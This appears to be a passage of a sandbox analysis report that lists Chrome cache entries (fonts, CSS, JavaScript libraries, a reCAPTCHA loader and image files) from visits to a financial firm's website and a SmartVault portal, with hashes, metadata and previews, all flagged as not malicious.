Preview:	wOF2......=\|.......l..=..........................d..d..^.`.. .X..<.....x..s........6.$.... ..\|. ..:.(..l.V38.......;..'....F.........)..!B..V..U......;..q....O#..cx..mt.w[.......x.UG\|n}........]k[....;J.....<=..F.$'/.......w...r$`....b(g..9C4....#.BK..G..9".Q...ld...j..C.l.F.i#.+.UO...%.E.Z..C..."......k1._....M.Y....-..H......Gm3.....YiJ.s..b..>..W..U.."..2..-.O........(H...0$....7l.7}.j...".C...w?/.oB%<K..d...'H....M]...k.."...E_k.............8.\...A.1U.9 5.@Jb.)J....Hkb ....!.n._.s.:5E......k..}.^...7]f.,a.7..a.H...J^.~...uWJ),....Z.7A..Ra:..k...}.R....G k$.{...%...R...."X6...A......p..V..IH[... .m..H.q.x.?\|......b.#:.c..Z.V.}..:P$j..c..B..^...HH......?......=.#^ q.@R...I....#.$O.H.N03~.@`...........8e.......>!...d..I.........g<)2......P....u..V.........c.1sK.."G.#...^;....=w....[G.}k.y.?.........c.a..\9f..zx..("mGj.."...d..........>c.!..Z.xm...=....v.V..:.6s.....J.oz#.....Y"d.....6>1...i...IQ..;2......\d......n..y....K..Y.L...O.2.....

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1994), with no line terminators
Category:	downloaded
Size (bytes):	1997
Entropy (8bit):	5.629385054834641
Encrypted:	false
SSDEEP:	48:kRo/elkiQtaFSdlQWU59gYF6h43UIC5YoKemNo31s5sp0k5:irkgWYEhl8ecGT
MD5:	FB49BAE3E9F77638409B0F03E82C288B
SHA1:	102E1947D9836049FBC7B3807E9C9726DD9049FC
SHA-256:	8F7FD4C8C23109E4FD0A2098CCFE6445D057A8BC688D97B717A3A4CADC5E538B
SHA-512:	6E3961467B705CB61DB67D697249FF79E23152F87910B4684EA4E79C7C0E5E4C027F3779577228EEA22D3727A52C4596843DF93D1F3C0CE5D5113AA9396EA35D
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=rmcOY57_3aeqDKmQUi5pNgKD5Yllboo5cLfP5LPhRtU_7xoF9cDjzmRNgDXc3rUDnj-JbWDR2WhBXb9UPxgv913JiwoYXbdxXF8gNjxbXefAlBZSHuu_DpDaLK4GvoCwDrsMMzN967gnxPqLbRuZoA6dtxk1&t=638368678120000000
Preview:	..RadToolTip_Default.rtLoading{background:url('WebResource.axd?d=BjtDT-FBxC0LY6TIBt5Jt4jYdgo8u1bHtM1-_scPXrOsnfvxqSTD08unvHlerJkduFP2ZD6uVRGF01oPCosb-hubpWfMfYEXEU8BmybjpE_TVPEqVf9x3j197r3CUTJm5v3FFr9vDracDfsb3oxJyOBmFFQ1&t=638368678120000000') no-repeat center}.RadToolTip_Default .rtWrapper .rtWrapperTopLeft,.RadToolTip_Default .rtWrapper .rtWrapperTopRight,.RadToolTip_Default .rtWrapper .rtWrapperBottomLeft,.RadToolTip_Default .rtWrapper .rtWrapperBottomRight,.RadToolTip_Default .rtWrapper .rtWrapperTopCenter,.RadToolTip_Default .rtWrapper .rtWrapperBottomCenter,.RadToolTip_Default table.rtShadow .rtWrapperTopLeft,.RadToolTip_Default table.rtShadow .rtWrapperTopRight,.RadToolTip_Default table.rtShadow .rtWrapperBottomLeft,.RadToolTip_Default table.rtShadow .rtWrapperBottomRight,.RadToolTip_Default table.rtShadow .rtWrapperTopCenter,.RadToolTip_Default table.rtShadow .rtWrapperBottomCenter,.RadToolTip_Default .rtCloseButton{background-image:url('WebResource.axd?d=Rarto59WJHzRufjYZOg

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32543)
Category:	downloaded
Size (bytes):	605277
Entropy (8bit):	5.281992025438398
Encrypted:	false
SSDEEP:	3072:52VlEfYBVphoZfOJC3ad/dBMWWk8u2SgC7A5qoz9ZgYkyA0L2Jg+C1+bWW/LlV:IEfKqZ+d/YWWy+EozoYkf0aJg+C1itlV
MD5:	CC16CF1D48B57965168A57E64AE4EF28
SHA1:	DB208BA13A7DE106B91020153BC3FD6DDC7EECC8
SHA-256:	38921262332F4AC6D15E56D35E5F2221678859C9D6AA5A2EAD7984A74DF7E9C5
SHA-512:	C0C4842E15C0863A3550742D283D667EDBB766FF584533F56A33BCEB4F23C3F8908E5552398F0BFB47265D7AAAEBBF1DBD3F61EA2EB902163C9B146CCB67A50D
Malicious:	false
Reputation:	low
URL:	"https://static.xx.fbcdn.net/rsrc.php/v3/yI/l/0,cross/XJZbyoKj2zj.css?_nc_x=Ij3Wp8lg5Kz"
Preview:	form{margin:0;padding:0}label{color:#606770;cursor:default;font-weight:600;vertical-align:middle}label input{font-weight:normal}textarea,.inputtext,.inputpassword{-webkit-appearance:none;border:1px solid #ccd0d5;border-radius:0;margin:0;padding:3px}textarea{max-width:100%}select{border:1px solid #ccd0d5;padding:2px}input,select,textarea{background-color:#fff;color:#1c1e21}.inputtext,.inputpassword{padding-bottom:4px}.inputtext:invalid,.inputpassword:invalid{box-shadow:none}.inputradio{margin:0 5px 0 0;padding:0;vertical-align:middle}.inputcheckbox{border:0;vertical-align:middle}.inputbutton,.inputsubmit{background-color:#4267b2;border-color:#DADDE1 #0e1f5b #0e1f5b #d9dfea;border-style:solid;border-width:1px;color:#fff;padding:2px 15px 3px 15px;text-align:center}.inputaux{background:#ebedf0;border-color:#EBEDF0 #666 #666 #e7e7e7;color:#000}.inputsearch{background:#FFFFFF url(/rsrc.php/v3/yL/r/unHwF9CkMyM.png) no-repeat left 4px;padding-left:17px}.html{touch-action:manipulation}body{back

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9379), with CRLF line terminators
Category:	downloaded
Size (bytes):	9381
Entropy (8bit):	5.925691287138805
Encrypted:	false
SSDEEP:	192:NZmIvqLIg9jifdrVwhL2/2k6noydAS4HKiPtNx9RbJaSCFYAvqy9g:thZHwY/2k6noDSePtNrlNCieqd
MD5:	A500A2826E14FA06202738F06640B3EF
SHA1:	F46BDAA24FE01E8DFDE3CFEA6492ADC4880C95B4
SHA-256:	813489007DC2AACD8EEF87ACCE2CC4C9B18BEDDF2EF7143E622B05CE3AE0FA62
SHA-512:	B917D40A79551E9428E3C95B3D7179845FDB90552E3427F99D4FBB31785C2F9F969AEB2893B1C0935B8FB33F68CD0DE2DBC733D7DE7D46DA17917B2436183FF8
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/js/apersona.js
Preview:	eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]\|\|e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('m 17=[];l.4o()&&17.1H("4h");(13(){m b={"23":{A:["4c/23"],o:["23.4b"]},1p:{A:["1v/19.1p","1v/x.1p","1v/x-1p"],o:["4g.4z"]},3s:{A:["D/x-3x-3s"],o:"C.C C.C.3 C.C.4 C.C.5 C.C.6 C.C.7".1s(" ")},"3q-4B":{A:["D/4C"],o:["3n.3D","3n.3D.1"]},3C:{A:["D/3C"],o:"4F.Q 3y.Q 3y.Q.1 Q.1f Q.1f.1 Q.1f.4 Q.1f.5 Q.1f.6".1s(" ")},3E:{A:["3H/3E"],o:["1o.1o","46.49.1","1o.1o.4"]},"3V-3r":{A:["3I/19.1T-3M","3H/19.1T-3Y","D/19.1T-45","3I/x-3T-3M-1c"],o:["3N.15 3L 1u","3N.15 3L 1u.1","15.15(3P) o 1u (32-3u)","3J.3J(3P) o 1u (32-3u)","15"]},"3w-5p":{A:["1v/3w-5y"],o:["5A.5B"]},"3x-3F":{A:["D/x-3F"],o:["3v.3v","12.12.7","12.12.8","12.12.9","C.C.1"]},22:{A:["D/x-22","D/x-22-2"],o:["3A.3A"]},

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10333)
Category:	downloaded
Size (bytes):	70964
Entropy (8bit):	5.383081887706574
Encrypted:	false
SSDEEP:	1536:Or9yDtPo636t7dHaOMjswSo3XItkuSfFLXyB:OrXMjk
MD5:	126459CC9D333C1DC53BC547B4AA6A65
SHA1:	616BBA535E0BAA49A504792B32C933C9CD042AA4
SHA-256:	6BF86848278847B475DF41E779AB2B3CE404785841D007F70551EEC3EB117217
SHA-512:	7D4FB14EE4ED54F82F80B2B806D0E0387DC6ED26D86F1E9B0A890623C70803F85D2915B328B141F1C31907B0914A5FFA219A231339D60B02E189A9AEC093E035
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3idBq4/yr/l/en_US/EGYttlRo0gL.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("GroupsCometAnswerAgentEducationModalQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="7307613069356707"}),null);.__d("GroupsCometAnswerAgentEducationModalQuery$Parameters",["GroupsCometAnswerAgentEducationModalQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a={kind:"PreloadableConcreteRequest",params:{id:b("GroupsCometAnswerAgentEducationModalQuery_facebookRelayOperation"),metadata:{},name:"GroupsCometAnswerAgentEducationModalQuery",operationKind:"query",text:null}};e.exports=a}),null);.__d("coerceRelayImage_image.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:{mask:!1},name:"coerceRelayImage_image",selections:[{alias:null,args:null,kind:"ScalarField",name:"height",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"scale",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"uri",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"width",sto

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 57, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3910
Entropy (8bit):	7.774538256297235
Encrypted:	false
SSDEEP:	96:uENzvAXz740S/fQvki400ZeYC27GunCeYhQKq2:BvAw0S/6kik77Wi2
MD5:	EF499ABF1214E5F8701E35108F450E83
SHA1:	73E7A15F63A4E1B3004B277946BCA6A82CBFBC0B
SHA-256:	DFE364244054D70E4504DAF7F5D227F01F79F4AD43A08E573CC7FF6CC4854F32
SHA-512:	59371B5286C2342352783B7193A5A5F3384E0D8DE181DE00628DCFDB4A5E54EB8FA66C8F42F1E10B427A864C151CFE0A1F61EE9AFCC0AF40E8134763A4EC526E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...=...9.......#.....sRGB.........gAMA......a.....pHYs...t...t..f.x....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:16c9bc52-7b1c-429b-9115-24f9e0478964" xmpMM:DocumentID="xmp.did:E7959EA1B5AE11E6957FC9103BDCCE93" xmpMM:InstanceID="xmp.iid:E7959EA0B5AE11E6957FC9103BDCCE93" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:df4bc394-0e4b-4676-b0c0-35e736784415" stRef:documentID="adobe:docid:photoshop:c683e074-fe18-1179-b251-e699586533b2"/> </rdf:Description> </rdf:RDF> </

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32405)
Category:	downloaded
Size (bytes):	37489
Entropy (8bit):	5.230666749150904
Encrypted:	false
SSDEEP:	768:N8LJD27UwlNAMlbWqXYR+jS1s8ep0smQirXf8u8GfDZZSpkdGAv:iY7NBS1W8v8UDZMpkdRv
MD5:	538BF0AB9D9D0A86FA04A12E2D0F7CE2
SHA1:	0973CE3283468CF38280E5CE7406932F27C1FC42
SHA-256:	EC2FF63D62D8D1B8EB1127C4FA82ED0B3EB87CA50B9590C0D3117A37807A33BC
SHA-512:	DB49D24C90D7E07FCAF67DBB3128331B7923747E58CD5533A8894F319EBD53296653D1E086F540A3D3D5D56E3CACEC63897A66CAB0A6AAEEA326982CEB4F323B
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/js/bootstrap.min.js
Preview:	/!. Bootstrap v3.3.2 (http://getbootstrap.com). * Copyright 2011-2015 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9\|\|1==b[0]&&9==b[1]&&b[2]<1)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c\|\|a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/api/mapsjs/gen_204?csp_test=true
Preview:	{}.

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1339 x 356, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	87295
Entropy (8bit):	7.984133156922863
Encrypted:	false
SSDEEP:	1536:faYT1+IhDsHhX+qnEwIfv8XPTbZCnPDw4vnWOsfi9+OGd7kurGhYuscevmrxyRIa:yYB+oDsHhXKwQv8PXZCL1nPkMnGVkZir
MD5:	AD857B185462CCD0B29E2D88F8E90CA3
SHA1:	3E9F7510DBA4146CB89E6F6B5745690A1F1EFE9E
SHA-256:	30E724156FC14044907D8F4F1CB3B0B28737AEE2B7822A8166F6112D5DFE7DD3
SHA-512:	C5A51505CF2419E98A44A5EA9E20914489CC48A894CD1C1285E6849FBDFBAA7C831BA1884D80FB54501E6D947547518D28E3B2FE04EC1690F6CBFEDF1065F3AD
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/images/bc_logo_large.png
Preview:	.PNG........IHDR...;...d........g....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmpMM:OriginalDocumentID="xmp.did:f958e956-5bf1-4b86-a80e-02c5cb9517d5" xmpMM:DocumentID="xmp.did:2F6FFEFAF45311E596C4BC5F88088493" xmpMM:InstanceID="xmp.iid:2F6FFEF9F45311E596C4BC5F88088493" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3713f415-c680-4af5-b4d9-76d9b1b45273" stRef:documentID="adobe:docid:photoshop:363477cb-e91d-1177-be05-decdc3b849ec"/> <dc:title> <rdf:Alt> <rdf:li xml:lang=

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	274
Entropy (8bit):	5.1141704609456395
Encrypted:	false
SSDEEP:	6:tnrwNhk3mc4slZKYnic4sGRhAJroRInGXoXXCyuDXcW8HcHSti:trwN23/KYiqnAoULn4cyI
MD5:	07DFBAF5F85030EFC27E4A012488E13A
SHA1:	B4E6AC4F3DCD094BD4D326B537960328200384F6
SHA-256:	5843ED3527BC1E0E105B4E4B15FBBFF78C6D44EFA024E2AE4A08A0E8C82E5D4C
SHA-512:	803D937C109AF430F69693E0E96BACB97BFC307F1072161D08DB405C95C3A67DE00F5B9CA593E9C16056AA865A8E3A72D1F3B59B42531F3DADAA17FE30EF6D49
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/gs508lg3t2o81tq7pmcgn6m2
Preview:	<svg width="24px" height="24px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" class="artdeco-icon">. <path d="M20,5.32L13.32,12,20,18.68,18.66,20,12,13.33,5.34,20,4,18.68,10.68,12,4,5.32,5.32,4,12,10.69,18.68,4Z" fill="currentColor"/>.</svg>

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1284), with no line terminators
Category:	downloaded
Size (bytes):	1284
Entropy (8bit):	5.796652201207259
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAjZJlv6+KVCLTLv138EgFB5vtTGJTlWtB31ngirLOGsLqo40RWUG:VKEciZKonR3evtTA8/1/OXLrwUnG
MD5:	4F2BD380F8158A4ABFB058BC759B637C
SHA1:	0E3FA9890AE426EFD5B630F9E211D9E7EBE754F6
SHA-256:	0EACFE6EE902BEC9F9E596565D1C6B1DC175F2141C1725B79E98A0A038142A16
SHA-512:	9581FA340DE6A9C45523924B79E9A3DB0662CD49FF8BC253AE65ACBB9CE3D2F60F61BF8D1C2F11A7FCF284C0A2929529509CD6F3B5E5461DFA68EA65EAFC87E4
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js?hl=en_US&onload=recaptchaCallback&render=explicit&ver=2.0
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('explicit');(cfg['onload']=cfg['onload']\|\|[]).push('recaptchaCallback');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js';po.crossOrigin='anonymous'

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3070
Entropy (8bit):	7.729064237992539
Encrypted:	false
SSDEEP:	48:0uNn2vdSNJ3XpDz0kfzNYbBe9Z8ima7I6ReSo0c2s0OxAnZp7ceNyfaKUS/PjWLA:T21SrpDQkLNwqZ2afc0huxAZp72tvXKk
MD5:	E5F80EA5CDDA9167110B6E8F5E205EBB
SHA1:	841A515717AF350E9225A2DC2BCA0F2C0815D571
SHA-256:	8393D96E4CE15EFD45E00A2B76FD35F1A07609A4E308585E33DC0A273D3F52C9
SHA-512:	D31EBDB222F1A1ED09DA6F956BC7CF31718DCFB5680998F5DDA6609C48BFEF3445B0B3D3B4FD9129AE6A18EAE2C8861308FFEB12BF46A39CFD641A836353F8B7
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/images/linkedin-50.png
Preview:	.PNG........IHDR...2...2......?......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:29ACEAE21B9F11E8B6FE9B650A6B5FF6" xmpMM:DocumentID="xmp.did:29ACEAE31B9F11E8B6FE9B650A6B5FF6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:29ACEAE01B9F11E8B6FE9B650A6B5FF6" stRef:documentID="xmp.did:29ACEAE11B9F11E8B6FE9B650A6B5FF6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..7....nIDATx..Z]l\...f.....^...b..&AP...y.bZ.(.RK....P...F..6.Z....K.(M.$.<4...K...EF .".......Bb{...zw.~g.....

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1836
Entropy (8bit):	7.33489705303095
Encrypted:	false
SSDEEP:	48:g1uNn2vVJ3TX7TwulV6stgAS9vY3cGz+o4aR:p2PL76s2H9vYLP42
MD5:	AA582858D8D8169CDD903CF0951D3750
SHA1:	4D933DCA77682CC005D905C033CD55A6092C04FB
SHA-256:	6C1AC45F9CC20BC2AEA55AE6823953570A7194F6DDD81B67A4F2DCB928200AA8
SHA-512:	AD629D231F0603949164BC0F13CB09CAC12993AE439131F7197BCEFB6F001653CDABE9B754C36F18D223B6A920139133272D0142E44EC5D702F1784C47B8BD6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:AEDEEFE91B9F11E8A77F8609C544BD5A" xmpMM:DocumentID="xmp.did:AEDEEFEA1B9F11E8A77F8609C544BD5A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AEDEEFE71B9F11E8A77F8609C544BD5A" stRef:documentID="xmp.did:AEDEEFE81B9F11E8A77F8609C544BD5A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..^C....IDATx..[H.Q....z75...(.(..\|..{.n.XA.E.....\|(K....*.....H....=ty.E.f....9......;3..}..9g.?.9..(..:.

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	4828
Entropy (8bit):	4.272655931938755
Encrypted:	false
SSDEEP:	96:e7++UWae8y9Bol8RAcf5sFjfoRhV1wNx4ANxa0A4X71k:e7+iaRy9BoqAcf5sFjfoRhV1wNx4ANxY
MD5:	2DAC51D31A483F0C6DF2F926F31650FA
SHA1:	31C666BB98C5D65695E9DDE23A243FC9DA41C395
SHA-256:	B1D6D433415CCC2A4E803BCEBC50E80682168DB7C182D0BC3D87CF4A84B3D073
SHA-512:	809C025637FD140428EF017123394BE4800640B719A8240D32FBE67C9D2795CF7DD86DD045079EC1F10F58F032506718C1B2B7A7330F90DE687321DA5C802264
Malicious:	false
Reputation:	low
URL:	https://smartvault.ada.support/embed/button/e540f3c/index.html
Preview:	<!doctype html><html><head><meta charset="UTF-8"/><style>.button {. padding: 0;. margin: 0;. border-radius: 50%;. cursor: pointer;. box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);. border: 1px solid rgba(0, 0, 0, 0.05);. /* transition: 120ms ease; */. transition: 200ms opacity ease;. position: absolute;. top: 50%;. left: 50%;. transform: translate(-50%, -50%);. opacity: 0;. overflow: hidden;. animation: button-fade-in 200ms ease 0s;. }.. .js-focus-visible :focus:not(.focus-visible) {. outline: none;. }.. .button--appear {. opacity: 1;. }.. .button--hide-icon > :first-child {. animation-duration: 2s;. animation-name: dialogue-fade;. }.. .button__icon {. width: 100%;. height: 100%;. top: 0;. left: 0;. padding: 17%;. position: absolute;. box-sizing: border-box;. pointer

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1465
Entropy (8bit):	6.758052155011177
Encrypted:	false
SSDEEP:	24:5kjXWww214HPiqGz0yZW7RVt8zJxeWBzjEC3fVP0KEMP3fV5D57DwPoQNAnJ/hlR:m6Tq9ZWdVt8eWB7qKEOx7D4FNAnJ5lTF
MD5:	375D3676E13069C86EA0011EC47F7C8C
SHA1:	FBCFE55CE49409FBB3894A6AFCF0988A3D91B9B3
SHA-256:	E2D14B9B1656E7FFB68886144726C53E6AE95E4152D40445B825E17B2A233BC5
SHA-512:	15E34573EA47188A9F3B761A9DD94519A5B0A5A7E814E4FB7ACF5282239FE0697A2926126DA67AB6F7DC4578459842FB9E06D7348BCD7CD8931C9C52185F04C4
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/images/fav/favicon-16x16.png
Preview:	.PNG........IHDR.............(-.S....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....PLTE....f..e..f..f..\..f. g.7r.+x..b..c.D..Q..Q..O..Q..M..R...e.T...p..o..o..o..e..g..d..g..e.....r..3.....5..8..5..<!.=..4..7..f..e..e..e..e..e..e..f..e..e..e..e..e..e..e..e..e..e..g..e..e..d.(u.A..!m..e..e..e..e..e..d.I..Q..Q...e..e..e..e.1..Q..P...f..e..d.N..P..Q...f..e..d.P..P...f..e..d.H..Q...e..e. l.V..S...e..e..e..c..f..e..e..e..e..e..e..e..e..e..f..e..e..e..e..e..e.7].OWz.f..e..e..f..`..8!.3..1..4..6..@&.>#./..:..N8.A'.4..8..9......y.....tRNS........................................../....D..m........u.@+. x.7.@.FB<..=.d...Z....h....Iyg.T,....7..~85.OIv..H%....Z..:>,d..2......)c.........bKGD.........pHYs...H...H.F.k>....IDAT..c````.......7`b..&C#c.S3s.K+&f ..................................? .....X..CB...`\|......~...Kl\\|B...\@.))9%5M..ATL\.$".....-,%.......A.)..........,.."[Q.WUU]S+'.3........U.......;:..DT..{zU......'h0...W*{.."....%tEXtdate:create.2016-06-22T

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2436)
Category:	downloaded
Size (bytes):	3448
Entropy (8bit):	5.4943894069543235
Encrypted:	false
SSDEEP:	48:yMjDJXyQKCb8GkdkRWbgoqOmLeOOcyi8/Ok96gcHupSR+RdeDvPyq5r2u:yMDJXyBCb8GSYWbgoKsxLWUz4vPEu
MD5:	F792DBA968BBB28D3945616EF5947505
SHA1:	5BE6495A9C4DCA23B9E64BFA19266A14589D6D71
SHA-256:	C7A6AE694E6C92306D334C9683616D067B44E99D8A14BC6954BCDD46BF458873
